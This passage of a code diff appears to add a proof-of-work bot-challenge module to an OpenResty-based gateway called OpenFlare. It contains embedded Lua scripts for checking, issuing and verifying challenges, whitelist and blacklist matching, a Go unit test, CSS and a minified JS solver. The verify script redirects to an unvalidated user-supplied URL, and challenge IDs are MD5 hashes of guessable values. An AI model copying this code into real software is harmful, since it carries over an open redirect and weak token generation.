ngx.log(ngx.WARN, "openflare pow config is not readable by worker; check directory permissions under ", "__OPENFLARE_RUNTIME_CONFIG_DIR__")
|
||||
end
|
||||
return false
|
||||
end
|
||||
|
||||
load_pow_config()
|
||||
|
||||
local host = ngx.var.host
|
||||
if not host or host == "" then
|
||||
return
|
||||
end
|
||||
|
||||
local site = ngx.var.openflare_waf_site or ""
|
||||
if site == "" then
|
||||
return
|
||||
end
|
||||
|
||||
local config_raw = pow_config_dict:get(site)
|
||||
if not config_raw then
|
||||
return
|
||||
end
|
||||
|
||||
local ok, route_config = pcall(cjson.decode, config_raw)
|
||||
if not ok or not route_config then
|
||||
return
|
||||
end
|
||||
|
||||
if not route_config.enabled then
|
||||
return
|
||||
end
|
||||
|
||||
local config = route_config.config or {}
|
||||
local session_ttl = config.session_ttl or 600
|
||||
local uri = ngx.var.uri or ""
|
||||
local ua = ngx.var.http_user_agent or ""
|
||||
local remote_ip = ngx.var.remote_addr or ""
|
||||
|
||||
-- Check whitelist: if matched, skip PoW
|
||||
local whitelist = config.whitelist or {}
|
||||
if policy.match_any(remote_ip, ua, uri, whitelist) then
|
||||
return
|
||||
end
|
||||
|
||||
-- Check blacklist: if matched, require PoW
|
||||
local blacklist = config.blacklist or {}
|
||||
local has_blacklist = policy.has_entries(blacklist)
|
||||
local need_pow = false
|
||||
if has_blacklist then
|
||||
need_pow = policy.match_any(remote_ip, ua, uri, blacklist)
|
||||
else
|
||||
-- No blacklist means all non-whitelisted need PoW
|
||||
need_pow = true
|
||||
end
|
||||
|
||||
if not need_pow then
|
||||
return
|
||||
end
|
||||
|
||||
-- Check valid session cookie
|
||||
local cookie_val = ngx.var["cookie___openflare_pow"]
|
||||
if cookie_val and cookie_val ~= "" then
|
||||
local session_key = host .. ":" .. cookie_val
|
||||
local session_data = pow_sessions:get(session_key)
|
||||
if session_data then
|
||||
pow_sessions:set(session_key, "1", session_ttl)
|
||||
ngx.header["Set-Cookie"] = session_cookie(cookie_val, session_ttl)
|
||||
return
|
||||
end
|
||||
end
|
||||
|
||||
-- If requesting the challenge API endpoints, let them through (handled by content_by_lua)
|
||||
local anubis_api_prefix = "/.within.website/x/cmd/anubis/api/"
|
||||
local anubis_static_prefix = "/.within.website/x/cmd/anubis/static/"
|
||||
if string.sub(uri, 1, #anubis_api_prefix) == anubis_api_prefix then
|
||||
return
|
||||
end
|
||||
if string.sub(uri, 1, #anubis_static_prefix) == anubis_static_prefix then
|
||||
return
|
||||
end
|
||||
|
||||
-- Render the challenge page through an internal redirect so the browser stays
|
||||
-- on the originally requested URL instead of seeing a 302 hop.
|
||||
ngx.req.set_uri_args({
|
||||
redir = ngx.var.scheme .. "://" .. host .. uri .. (ngx.var.args and ("?" .. ngx.var.args) or ""),
|
||||
host = host
|
||||
})
|
||||
return ngx.exec("/.within.website/x/cmd/anubis/api/make-challenge")
|
||||
end
|
||||
|
||||
return _M
|
||||
*/
|
||||
|
||||
const openRestyPowCheckLua = `local source = debug.getinfo(1, "S").source or ""
|
||||
if string.sub(source, 1, 1) == "@" then
|
||||
local script_path = string.sub(source, 2)
|
||||
local base_dir = string.match(script_path, "^(.*)/pow/[^/]+%.lua$")
|
||||
if base_dir and base_dir ~= "" and not string.find(package.path, base_dir, 1, true) then
|
||||
package.path = base_dir .. "/?.lua;" .. base_dir .. "/?/init.lua;" .. package.path
|
||||
end
|
||||
end
|
||||
|
||||
return require("pow.runtime").check()
|
||||
`
|
||||
|
||||
const openRestyPowChallengeLua = `local cjson = require "cjson.safe"
|
||||
|
||||
local pow_challenges = ngx.shared.openflare_pow_challenges
|
||||
local pow_config_dict = ngx.shared.openflare_pow_config
|
||||
|
||||
local function generate_entropy()
|
||||
local pieces = {
|
||||
tostring(ngx.now()),
|
||||
tostring(ngx.worker.pid()),
|
||||
tostring(math.random()),
|
||||
ngx.var.remote_addr or "",
|
||||
ngx.var.http_user_agent or "",
|
||||
ngx.var.request_id or "",
|
||||
}
|
||||
return table.concat(pieces, ":")
|
||||
end
|
||||
|
||||
local args = ngx.req.get_uri_args()
|
||||
local host = args["host"] or ngx.var.host or ""
|
||||
local redir = args["redir"] or ""
|
||||
|
||||
local config = ngx.ctx.openflare_pow_config
|
||||
local config_key = args["openflare_pow_config_key"] or ""
|
||||
if type(config) ~= "table" and config_key ~= "" then
|
||||
local config_raw = pow_config_dict:get(config_key)
|
||||
if config_raw then
|
||||
config = cjson.decode(config_raw)
|
||||
end
|
||||
end
|
||||
if config_key ~= "" then pow_config_dict:delete(config_key) end
|
||||
if type(config) ~= "table" then
|
||||
ngx.status = 403
|
||||
ngx.say("PoW graph node was not evaluated for this request")
|
||||
return
|
||||
end
|
||||
local difficulty = config.difficulty or 4
|
||||
local algorithm = config.algorithm or "fast"
|
||||
local challenge_ttl = config.challenge_ttl or 300
|
||||
local session_ttl = config.session_ttl or 600
|
||||
|
||||
-- Generate challenge data without depending on ngx.random_bytes, which is not
|
||||
-- available in every OpenResty runtime build.
|
||||
local entropy = generate_entropy()
|
||||
local challenge_id = ngx.md5(entropy .. ":id")
|
||||
local challenge_data = ngx.md5(entropy .. ":data-a") .. ngx.md5(entropy .. ":data-b")
|
||||
|
||||
-- Store challenge
|
||||
local challenge_info = cjson.encode({
|
||||
data = challenge_data,
|
||||
difficulty = difficulty,
|
||||
host = host,
|
||||
redir = redir,
|
||||
session_ttl = session_ttl
|
||||
})
|
||||
pow_challenges:set(challenge_id, challenge_info, challenge_ttl)
|
||||
|
||||
local static_prefix = "/.within.website/x/cmd/anubis/static/"
|
||||
local accept_lang = ngx.var.http_accept_language or ""
|
||||
local lang = "en"
|
||||
if string.find(accept_lang, "zh") then
|
||||
lang = "zh-CN"
|
||||
end
|
||||
|
||||
local t_title = "Making sure you're not a bot!"
|
||||
local t_status = "Loading..."
|
||||
local t_protected = "This site is protected by a Proof-of-Work challenge. Your browser will solve a small puzzle before the upstream response is shown."
|
||||
local t_why = "Why am I seeing this?"
|
||||
local t_why_desc = "OpenFlare is asking your browser to complete a lightweight computation to distinguish normal browser traffic from automated abuse. This should finish automatically."
|
||||
local t_noscript = "JavaScript is required to pass this verification. Please enable JavaScript and reload."
|
||||
|
||||
if lang == "zh-CN" then
|
||||
t_title = "正在确认你是不是机器人！"
|
||||
t_status = "加载中..."
|
||||
t_protected = "本网站受工作量证明（Proof-of-Work）挑战保护。在显示源站响应之前，您的浏览器将解决一个微型谜题。"
|
||||
t_why = "为什么我会看到这个？"
|
||||
t_why_desc = "OpenFlare 正在要求您的浏览器完成一项轻量级计算，以区分正常的浏览器流量和自动化的恶意请求。这应该会自动完成。"
|
||||
t_noscript = "很遗憾，您必须启用 JavaScript 才能通过这项验证。请开启 JavaScript 并刷新页面。"
|
||||
end
|
||||
|
||||
ngx.header.content_type = "text/html; charset=utf-8"
|
||||
ngx.say([[<!DOCTYPE html>
|
||||
<html lang="]] .. lang .. [[">
|
||||
<head>
|
||||
<meta charset="utf-8">
|
||||
<meta name="viewport" content="width=device-width, initial-scale=1">
|
||||
<meta name="robots" content="noindex,nofollow">
|
||||
<title>]] .. t_title .. [[</title>
|
||||
<link rel="stylesheet" href="]] .. static_prefix .. [[css/xess.css">
|
||||
<style>
|
||||
body,html{height:100%;display:flex;justify-content:center;align-items:center;margin-left:auto;margin-right:auto}
|
||||
.centered-div{text-align:center}
|
||||
#status{font-variant-numeric:tabular-nums}
|
||||
#progress{display:none;width:min(20rem,90%);height:2rem;border-radius:1rem;overflow:hidden;margin:1rem 0 2rem;outline-offset:2px;outline:#b16286 solid 4px}
|
||||
.bar-inner{background-color:#b16286;height:100%;width:0;transition:width .25s ease-in}
|
||||
</style>
|
||||
<script id="anubis_version" type="application/json">"openflare-pow"</script>
|
||||
<script id="anubis_challenge" type="application/json">]] .. cjson.encode({
|
||||
challenge = {
|
||||
id = challenge_id,
|
||||
randomData = challenge_data,
|
||||
method = algorithm
|
||||
},
|
||||
rules = {
|
||||
difficulty = difficulty,
|
||||
algorithm = algorithm
|
||||
}
|
||||
}) .. [[</script>
|
||||
<script id="anubis_base_prefix" type="application/json">""</script>
|
||||
<script id="anubis_public_url" type="application/json">"__openflare_internal__"</script>
|
||||
</head>
|
||||
<body id="top">
|
||||
<main>
|
||||
<h1 id="title" class="centered-div">]] .. t_title .. [[</h1>
|
||||
<div class="centered-div">
|
||||
<img id="image" style="width:100%;max-width:256px;" src="]] .. static_prefix .. [[img/pensive.webp?cacheBuster=openflare-pow">
|
||||
<p id="status">]] .. t_status .. [[</p>
|
||||
<p>]] .. t_protected .. [[</p>
|
||||
<div id="progress" role="progressbar" aria-labelledby="status"><div class="bar-inner"></div></div>
|
||||
<details>
|
||||
<summary>]] .. t_why .. [[</summary>
|
||||
<p>]] .. t_why_desc .. [[</p>
|
||||
</details>
|
||||
<noscript><p>]] .. t_noscript .. [[</p></noscript>
|
||||
</div>
|
||||
</main>
|
||||
<script type="module" src="]] .. static_prefix .. [[js/main.mjs"></script>
|
||||
</body>
|
||||
</html>]])
|
||||
`
|
||||
|
||||
const openRestyPowVerifyLua = `local cjson = require "cjson.safe"
|
||||
|
||||
local pow_challenges = ngx.shared.openflare_pow_challenges
|
||||
local pow_sessions = ngx.shared.openflare_pow_sessions
|
||||
|
||||
local site = ngx.var.openflare_waf_site or ""
|
||||
if site == "" then
|
||||
ngx.status = 403
|
||||
ngx.header.content_type = "application/json"
|
||||
ngx.say(cjson.encode({error = "PoW site not resolved; openflare_waf_site is required"}))
|
||||
return
|
||||
end
|
||||
|
||||
local args = ngx.req.get_uri_args()
|
||||
local challenge_id = args["id"] or ""
|
||||
local response = args["response"] or ""
|
||||
local nonce_str = args["nonce"] or ""
|
||||
local redir = args["redir"] or ""
|
||||
local elapsed = args["elapsedTime"] or ""
|
||||
|
||||
if challenge_id == "" or response == "" or nonce_str == "" then
|
||||
ngx.status = 400
|
||||
ngx.header.content_type = "application/json"
|
||||
ngx.say(cjson.encode({error = "missing parameters"}))
|
||||
return
|
||||
end
|
||||
|
||||
local nonce = tonumber(nonce_str)
|
||||
if not nonce then
|
||||
ngx.status = 400
|
||||
ngx.header.content_type = "application/json"
|
||||
ngx.say(cjson.encode({error = "invalid nonce"}))
|
||||
return
|
||||
end
|
||||
|
||||
-- Get stored challenge
|
||||
local challenge_raw = pow_challenges:get(challenge_id)
|
||||
if not challenge_raw then
|
||||
ngx.status = 410
|
||||
ngx.header.content_type = "application/json"
|
||||
ngx.say(cjson.encode({error = "challenge expired or not found"}))
|
||||
return
|
||||
end
|
||||
|
||||
local ok, challenge_info = pcall(cjson.decode, challenge_raw)
|
||||
if not ok or not challenge_info then
|
||||
ngx.status = 500
|
||||
ngx.header.content_type = "application/json"
|
||||
ngx.say(cjson.encode({error = "invalid challenge data"}))
|
||||
return
|
||||
end
|
||||
|
||||
local challenge_data = challenge_info.data or ""
|
||||
local difficulty = challenge_info.difficulty or 4
|
||||
local host = challenge_info.host or ngx.var.host or ""
|
||||
local session_ttl = challenge_info.session_ttl or 600
|
||||
|
||||
-- Compute SHA-256(challenge_data + nonce)
|
||||
local calc_string = challenge_data .. tostring(math.floor(nonce))
|
||||
local calculated = ngx.sha1_bin ~= nil and "" or ""
|
||||
|
||||
-- Use resty.sha256 for proper SHA-256
|
||||
local sha256 = require "resty.sha256"
|
||||
local str = require "resty.string"
|
||||
local hasher = sha256:new()
|
||||
hasher:update(calc_string)
|
||||
local hash_bytes = hasher:final()
|
||||
local hash_hex = str.to_hex(hash_bytes)
|
||||
|
||||
-- Verify hash matches response
|
||||
if hash_hex ~= string.lower(response) then
|
||||
ngx.status = 403
|
||||
ngx.header.content_type = "application/json"
|
||||
ngx.say(cjson.encode({error = "hash mismatch"}))
|
||||
return
|
||||
end
|
||||
|
||||
-- Verify difficulty (leading zeros in hex)
|
||||
local prefix = string.rep("0", difficulty)
|
||||
if string.sub(hash_hex, 1, difficulty) ~= prefix then
|
||||
ngx.status = 403
|
||||
ngx.header.content_type = "application/json"
|
||||
ngx.say(cjson.encode({error = "insufficient difficulty"}))
|
||||
return
|
||||
end
|
||||
|
||||
-- Invalidate challenge (prevent replay)
|
||||
pow_challenges:delete(challenge_id)
|
||||
|
||||
-- Generate session token
|
||||
local session_token = str.to_hex(ngx.sha1_bin(challenge_id .. ngx.now() .. tostring(ngx.worker.pid())))
|
||||
|
||||
-- Store session
|
||||
pow_sessions:set(host .. ":" .. session_token, "1", session_ttl)
|
||||
|
||||
-- Set cookie. Secure cookies are not sent over HTTP, so only add Secure when
|
||||
-- the current request itself is HTTPS.
|
||||
local cookie = "__openflare_pow=" .. session_token .. "; Path=/; HttpOnly; SameSite=Lax; Max-Age=" .. tostring(session_ttl)
|
||||
if ngx.var.scheme == "https" then
|
||||
cookie = cookie .. "; Secure"
|
||||
end
|
||||
ngx.header["Set-Cookie"] = cookie
|
||||
|
||||
if redir ~= "" then
|
||||
return ngx.redirect(redir)
|
||||
end
|
||||
|
||||
ngx.header.content_type = "application/json"
|
||||
ngx.say(cjson.encode({ok = true}))
|
||||
`
|
||||
|
||||
const openRestyPowPolicyLua = `local M = {}
|
||||
|
||||
local function match_ip(remote_ip, ips)
|
||||
if not ips or #ips == 0 then return false end
|
||||
for _, ip in ipairs(ips) do
|
||||
if ip == remote_ip then
|
||||
return true
|
||||
end
|
||||
end
|
||||
return false
|
||||
end
|
||||
|
||||
local function match_cidr(remote_ip, cidrs)
|
||||
if not cidrs or #cidrs == 0 then return false end
|
||||
for _, cidr in ipairs(cidrs) do
|
||||
local m, err = ngx.re.match(cidr, "^(\\\\d{1,3}\\\\.\\\\d{1,3}\\\\.\\\\d{1,3}\\\\.\\\\d{1,3})/(\\\\d{1,2})$")
|
||||
if m then
|
||||
local mask_bits = tonumber(m[2])
|
||||
if mask_bits and mask_bits >= 0 and mask_bits <= 32 then
|
||||
local function ip_to_num(ip_str)
|
||||
local parts = {}
|
||||
for part in string.gmatch(ip_str, "%d+") do
|
||||
parts[#parts+1] = tonumber(part) or 0
|
||||
end
|
||||
if #parts ~= 4 then return 0 end
|
||||
return parts[1]*16777216 + parts[2]*65536 + parts[3]*256 + parts[4]
|
||||
end
|
||||
local remote_num = ip_to_num(remote_ip)
|
||||
local net_num = ip_to_num(m[1])
|
||||
if mask_bits == 0 then
|
||||
return true
|
||||
end
|
||||
local mask = math.floor(2^(32 - mask_bits))
|
||||
mask = 4294967296 - mask
|
||||
if bit.band(remote_num, mask) == bit.band(net_num, mask) then
|
||||
return true
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
return false
|
||||
end
|
||||
|
||||
local function match_path(uri, patterns)
|
||||
if not patterns or #patterns == 0 then return false end
|
||||
for _, pattern in ipairs(patterns) do
|
||||
local ok, match = pcall(ngx.re.match, uri, "^" .. ngx.re.gsub(pattern, "([%^%$%(%)%%%.%[%]%+%-%?])", function(c)
|
||||
if c == "*" then return ".*" end
|
||||
return "%" .. c
|
||||
end) .. "$", "i")
|
||||
if ok and match then
|
||||
return true
|
||||
end
|
||||
end
|
||||
return false
|
||||
end
|
||||
|
||||
local function match_path_regex(uri, patterns)
|
||||
if not patterns or #patterns == 0 then return false end
|
||||
for _, pattern in ipairs(patterns) do
|
||||
local ok, match = pcall(ngx.re.match, uri, pattern)
|
||||
if ok and match then
|
||||
return true
|
||||
end
|
||||
end
|
||||
return false
|
||||
end
|
||||
|
||||
local function match_ua(ua, patterns)
|
||||
if not patterns or #patterns == 0 then return false end
|
||||
for _, pattern in ipairs(patterns) do
|
||||
if ua and string.find(ua, pattern, 1, true) then
|
||||
return true
|
||||
end
|
||||
end
|
||||
return false
|
||||
end
|
||||
|
||||
function M.match_any(remote_ip, ua, uri, list)
|
||||
if not list then return false end
|
||||
if match_ip(remote_ip, list.ips) then return true end
|
||||
if match_cidr(remote_ip, list.ip_cidrs) then return true end
|
||||
if match_path(uri, list.paths) then return true end
|
||||
if match_path_regex(uri, list.path_regexes) then return true end
|
||||
if match_ua(ua, list.user_agents) then return true end
|
||||
return false
|
||||
end
|
||||
|
||||
function M.has_entries(list)
|
||||
if not list then return false end
|
||||
return (#(list.ips or {}) + #(list.ip_cidrs or {}) + #(list.paths or {}) + #(list.path_regexes or {}) + #(list.user_agents or {})) > 0
|
||||
end
|
||||
|
||||
return M
|
||||
`
|
||||
|
||||
// ManagedPowLuaFiles returns embedded Lua assets for proof-of-work challenges.
|
||||
func ManagedPowLuaFiles() []protocol.SupportFile {
|
||||
return []protocol.SupportFile{
|
||||
{Path: "pow/runtime.lua", Content: openRestyPowRuntimeLua},
|
||||
{Path: "pow/check.lua", Content: openRestyPowCheckLua},
|
||||
{Path: "pow/challenge.lua", Content: openRestyPowChallengeLua},
|
||||
{Path: "pow/verify.lua", Content: openRestyPowVerifyLua},
|
||||
{Path: "pow/policy.lua", Content: openRestyPowPolicyLua},
|
||||
}
|
||||
}
|
||||
|
||||
// ManagedPowStaticFiles returns embedded static assets served by the PoW module.
|
||||
func ManagedPowStaticFiles() ([]protocol.SupportFile, error) {
|
||||
var files []protocol.SupportFile
|
||||
entries, err := powStaticFS.ReadDir("pow_static")
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
var walk func(dir string) error
|
||||
walk = func(dir string) error {
|
||||
entries, err := powStaticFS.ReadDir(dir)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
for _, entry := range entries {
|
||||
fullPath := filepath.Join(dir, entry.Name())
|
||||
if entry.IsDir() {
|
||||
if err := walk(fullPath); err != nil {
|
||||
return err
|
||||
}
|
||||
continue
|
||||
}
|
||||
data, err := powStaticFS.ReadFile(fullPath)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
// Convert pow_static/css/xess.css -> pow/static/css/xess.css
|
||||
relPath := strings.TrimPrefix(fullPath, "pow_static/")
|
||||
files = append(files, protocol.SupportFile{
|
||||
Path: "pow/static/" + relPath,
|
||||
Content: string(data),
|
||||
})
|
||||
}
|
||||
return nil
|
||||
}
|
||||
for _, entry := range entries {
|
||||
fullPath := filepath.Join("pow_static", entry.Name())
|
||||
if entry.IsDir() {
|
||||
if err := walk(fullPath); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
} else {
|
||||
data, err := powStaticFS.ReadFile(fullPath)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
relPath := strings.TrimPrefix(fullPath, "pow_static/")
|
||||
files = append(files, protocol.SupportFile{
|
||||
Path: "pow/static/" + relPath,
|
||||
Content: string(data),
|
||||
})
|
||||
}
|
||||
}
|
||||
return files, nil
|
||||
}
|
||||
@@ -0,0 +1,94 @@
|
||||
// Copyright 2026 Arctel.net
|
||||
// SPDX-License-Identifier: Apache-2.0
|
||||
|
||||
package nginx
|
||||
|
||||
import (
|
||||
"testing"
|
||||
|
||||
lua "github.com/yuin/gopher-lua"
|
||||
)
|
||||
|
||||
func TestPowRuntimePassesConfigKeyToInternalChallenge(t *testing.T) {
|
||||
state := lua.NewState()
|
||||
defer state.Close()
|
||||
|
||||
if err := state.DoString(`
|
||||
package.preload["pow.policy"] = function()
|
||||
return {
|
||||
match_any = function() return false end,
|
||||
has_entries = function() return false end,
|
||||
}
|
||||
end
|
||||
package.preload["cjson.safe"] = function()
|
||||
return { encode = function() return "{}" end }
|
||||
end
|
||||
|
||||
local config_values = {}
|
||||
local config_dict = {}
|
||||
function config_dict:set(key, value) config_values[key] = value return true end
|
||||
function config_dict:get(key) return config_values[key] end
|
||||
|
||||
local sessions = {}
|
||||
function sessions:get() return nil end
|
||||
function sessions:set() return true end
|
||||
|
||||
ngx = {
|
||||
var = {
|
||||
host = "pow.example.com",
|
||||
uri = "/protected",
|
||||
scheme = "https",
|
||||
remote_addr = "192.0.2.1",
|
||||
http_user_agent = "test",
|
||||
request_id = "request-1",
|
||||
},
|
||||
ctx = {},
|
||||
header = {},
|
||||
shared = {
|
||||
openflare_pow_sessions = sessions,
|
||||
openflare_pow_config = config_dict,
|
||||
},
|
||||
req = {},
|
||||
now = function() return 1 end,
|
||||
}
|
||||
function ngx.req.set_uri_args(args) captured_uri_args = args end
|
||||
function ngx.exec(uri, args)
|
||||
captured_exec_uri = uri
|
||||
captured_exec_args = args
|
||||
end
|
||||
`); err != nil {
|
||||
t.Fatalf("prepare Lua runtime: %v", err)
|
||||
}
|
||||
|
||||
chunk, err := state.LoadString(openRestyPowRuntimeLua)
|
||||
if err != nil {
|
||||
t.Fatalf("load PoW runtime: %v", err)
|
||||
}
|
||||
if err := state.CallByParam(lua.P{Fn: chunk, NRet: 1, Protect: true}); err != nil {
|
||||
t.Fatalf("initialize PoW runtime: %v", err)
|
||||
}
|
||||
runtimeModule := state.Get(-1)
|
||||
state.Pop(1)
|
||||
|
||||
evaluate := state.GetField(runtimeModule, "evaluate")
|
||||
config := state.NewTable()
|
||||
config.RawSetString("challenge_ttl", lua.LNumber(300))
|
||||
if err := state.CallByParam(lua.P{Fn: evaluate, NRet: 1, Protect: true}, config); err != nil {
|
||||
t.Fatalf("evaluate PoW node: %v", err)
|
||||
}
|
||||
state.Pop(1)
|
||||
|
||||
if got := state.GetGlobal("captured_exec_uri").String(); got != "/.within.website/x/cmd/anubis/api/make-challenge" {
|
||||
t.Fatalf("unexpected internal challenge URI: %q", got)
|
||||
}
|
||||
execArgs, ok := state.GetGlobal("captured_exec_args").(*lua.LTable)
|
||||
if !ok {
|
||||
t.Fatal("expected ngx.exec to receive explicit challenge arguments")
|
||||
}
|
||||
if got := execArgs.RawGetString("openflare_pow_config_key").String(); got != "_request_config:request-1" {
|
||||
t.Fatalf("unexpected PoW config key: %q", got)
|
||||
}
|
||||
if state.GetGlobal("captured_uri_args") != execArgs {
|
||||
t.Fatal("expected URI arguments and internal redirect arguments to use the same table")
|
||||
}
|
||||
}
|
||||
Binary file not shown.
Binary file not shown.
@@ -0,0 +1,7 @@
|
||||
@font-face {
|
||||
font-family: "Podkova";
|
||||
font-style: normal;
|
||||
font-weight: 400 800;
|
||||
font-display: swap;
|
||||
src: url("podkova.woff2") format("woff2");
|
||||
}
|
||||
Binary file not shown.
@@ -0,0 +1,149 @@
|
||||
:root {
|
||||
--body-sans-font: Geist, sans-serif;
|
||||
--body-preformatted-font: Iosevka Curly Iaso, monospace;
|
||||
--body-title-font: Podkova, serif;
|
||||
|
||||
--background: #1d2021;
|
||||
--text: #f9f5d7;
|
||||
--text-selection: #d3869b;
|
||||
--preformatted-background: #3c3836;
|
||||
--link-foreground: #b16286;
|
||||
--link-background: #282828;
|
||||
--blockquote-border-left: 1px solid #bdae93;
|
||||
|
||||
--progress-bar-outline: #b16286 solid 4px;
|
||||
--progress-bar-fill: #b16286;
|
||||
}
|
||||
@media (prefers-color-scheme: light) {
|
||||
:root {
|
||||
--background: #f9f5d7;
|
||||
--text: #1d2021;
|
||||
--text-selection: #d3869b;
|
||||
--preformatted-background: #ebdbb2;
|
||||
--link-foreground: #b16286;
|
||||
--link-background: #fbf1c7;
|
||||
--blockquote-border-left: 1px solid #655c54;
|
||||
}
|
||||
}
|
||||
|
||||
@font-face {
|
||||
font-family: "Geist";
|
||||
font-style: normal;
|
||||
font-weight: 100 900;
|
||||
font-display: swap;
|
||||
src: url("./static/geist.woff2") format("woff2");
|
||||
}
|
||||
|
||||
@font-face {
|
||||
font-family: "Podkova";
|
||||
font-style: normal;
|
||||
font-weight: 400 800;
|
||||
font-display: swap;
|
||||
src: url("./static/podkova.woff2") format("woff2");
|
||||
}
|
||||
|
||||
@font-face {
|
||||
font-family: "Iosevka Curly";
|
||||
font-style: monospace;
|
||||
font-display: swap;
|
||||
src: url("./static/iosevka-curly.woff2") format("woff2");
|
||||
}
|
||||
|
||||
main {
|
||||
font-family: var(--body-sans-font);
|
||||
max-width: 50rem;
|
||||
padding: 2rem;
|
||||
margin: auto;
|
||||
}
|
||||
|
||||
::selection {
|
||||
background: var(--text-selection);
|
||||
}
|
||||
|
||||
body {
|
||||
background: var(--background);
|
||||
color: var(--text);
|
||||
}
|
||||
|
||||
body,
|
||||
html {
|
||||
height: 100%;
|
||||
display: flex;
|
||||
justify-content: center;
|
||||
align-items: center;
|
||||
margin-left: auto;
|
||||
margin-right: auto;
|
||||
}
|
||||
|
||||
.centered-div {
|
||||
text-align: center;
|
||||
}
|
||||
|
||||
#status {
|
||||
font-variant-numeric: tabular-nums;
|
||||
}
|
||||
|
||||
.centered-div {
|
||||
text-align: center;
|
||||
}
|
||||
|
||||
#status {
|
||||
font-variant-numeric: tabular-nums;
|
||||
}
|
||||
|
||||
#progress {
|
||||
display: none;
|
||||
width: min(20rem, 90%);
|
||||
height: 2rem;
|
||||
border-radius: 1rem;
|
||||
overflow: hidden;
|
||||
margin: 1rem 0 2rem;
|
||||
outline-offset: 2px;
|
||||
outline: var(--progress-bar-outline);
|
||||
}
|
||||
|
||||
.bar-inner {
|
||||
background-color: var(--progress-bar-fill);
|
||||
height: 100%;
|
||||
width: 0;
|
||||
transition: width 0.25s ease-in;
|
||||
}
|
||||
|
||||
@media (prefers-reduced-motion: no-preference) {
|
||||
.bar-inner {
|
||||
transition: width 0.25s ease-in;
|
||||
}
|
||||
}
|
||||
|
||||
pre {
|
||||
background-color: var(--preformatted-background);
|
||||
padding: 1em;
|
||||
border: 0;
|
||||
font-family: var(--body-preformatted-font);
|
||||
}
|
||||
|
||||
a,
|
||||
a:active,
|
||||
a:visited {
|
||||
color: var(--link-foreground);
|
||||
background-color: var(--link-background);
|
||||
}
|
||||
|
||||
h1,
|
||||
h2,
|
||||
h3,
|
||||
h4,
|
||||
h5 {
|
||||
margin-bottom: 0.1rem;
|
||||
font-family: var(--body-title-font);
|
||||
}
|
||||
|
||||
blockquote {
|
||||
border-left: var(--blockquote-border-left);
|
||||
margin: 0.5em 10px;
|
||||
padding: 0.5em 10px;
|
||||
}
|
||||
|
||||
footer {
|
||||
text-align: center;
|
||||
}
|
||||
Binary file not shown.
|
After Width: | Height: | Size: 30 KiB |
Binary file not shown.
|
After Width: | Height: | Size: 28 KiB |
Binary file not shown.
|
After Width: | Height: | Size: 26 KiB |
@@ -0,0 +1,32 @@
|
||||
/*
|
||||
@licstart The following is the entire license notice for the
|
||||
JavaScript code in this page.
|
||||
|
||||
Copyright (c) 2025 Xe Iaso <xe.iaso@techaro.lol>
|
||||
|
||||
Permission is hereby granted, free of charge, to any person obtaining a copy
|
||||
of this software and associated documentation files (the "Software"), to deal
|
||||
in the Software without restriction, including without limitation the rights
|
||||
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
|
||||
copies of the Software, and to permit persons to whom the Software is
|
||||
furnished to do so, subject to the following conditions:
|
||||
|
||||
The above copyright notice and this permission notice shall be included in
|
||||
all copies or substantial portions of the Software.
|
||||
|
||||
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
||||
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
||||
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
|
||||
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
||||
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
|
||||
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
|
||||
THE SOFTWARE.
|
||||
|
||||
Includes code from https://github.com/aws/aws-sdk-js-crypto-helpers which is
|
||||
used under the terms of the Apache 2 license.
|
||||
|
||||
@licend The above is the entire license notice
|
||||
for the JavaScript code in this page.
|
||||
*/
|
||||
(()=>{var k=()=>navigator.hardwareConcurrency!==void 0?navigator.hardwareConcurrency:1;function n(c,b,w=5,e=null,g,u=Math.trunc(Math.max(k()/2,1))){console.debug("fast algo");let s="purejs";return window.isSecureContext&&(s="webcrypto"),(navigator.userAgent.includes("Firefox")||navigator.userAgent.includes("Goanna"))&&(console.log("Firefox detected, using pure-JS fallback"),s="purejs"),new Promise((p,l)=>{let m=`${c.basePrefix}/.within.website/x/cmd/anubis/static/js/worker/sha256-${s}.mjs?cacheBuster=${c.version}`,f=[],d=!1,a=()=>{console.log("PoW aborted"),i(),l(new DOMException("Aborted","AbortError"))},i=()=>{d||(d=!0,f.forEach(r=>r.terminate()),e?.removeEventListener("abort",a))};if(e!=null){if(e.aborted)return a();e.addEventListener("abort",a,{once:!0})}for(let r=0;r<u;r++){let t=new Worker(m);t.onmessage=o=>{typeof o.data=="number"?g?.(o.data):(i(),p(o.data))},t.onerror=o=>{i(),l(o)},t.postMessage({data:b,difficulty:w,nonce:r,threads:u}),f.push(t)}})}var P={fast:n,slow:n};})();
|
||||
//# sourceMappingURL=index.mjs.map
|
||||
@@ -0,0 +1,32 @@
|
||||
/*
|
||||
@licstart The following is the entire license notice for the
|
||||
JavaScript code in this page.
|
||||
|
||||
Copyright (c) 2025 Xe Iaso <xe.iaso@techaro.lol>
|
||||
|
||||
Permission is hereby granted, free of charge, to any person obtaining a copy
|
||||
of this software and associated documentation files (the "Software"), to deal
|
||||
in the Software without restriction, including without limitation the rights
|
||||
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
|
||||
copies of the Software, and to permit persons to whom the Software is
|
||||
furnished to do so, subject to the following conditions:
|
||||
|
||||
The above copyright notice and this permission notice shall be included in
|
||||
all copies or substantial portions of the Software.
|
||||
|
||||
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
||||
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
||||
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
|
||||
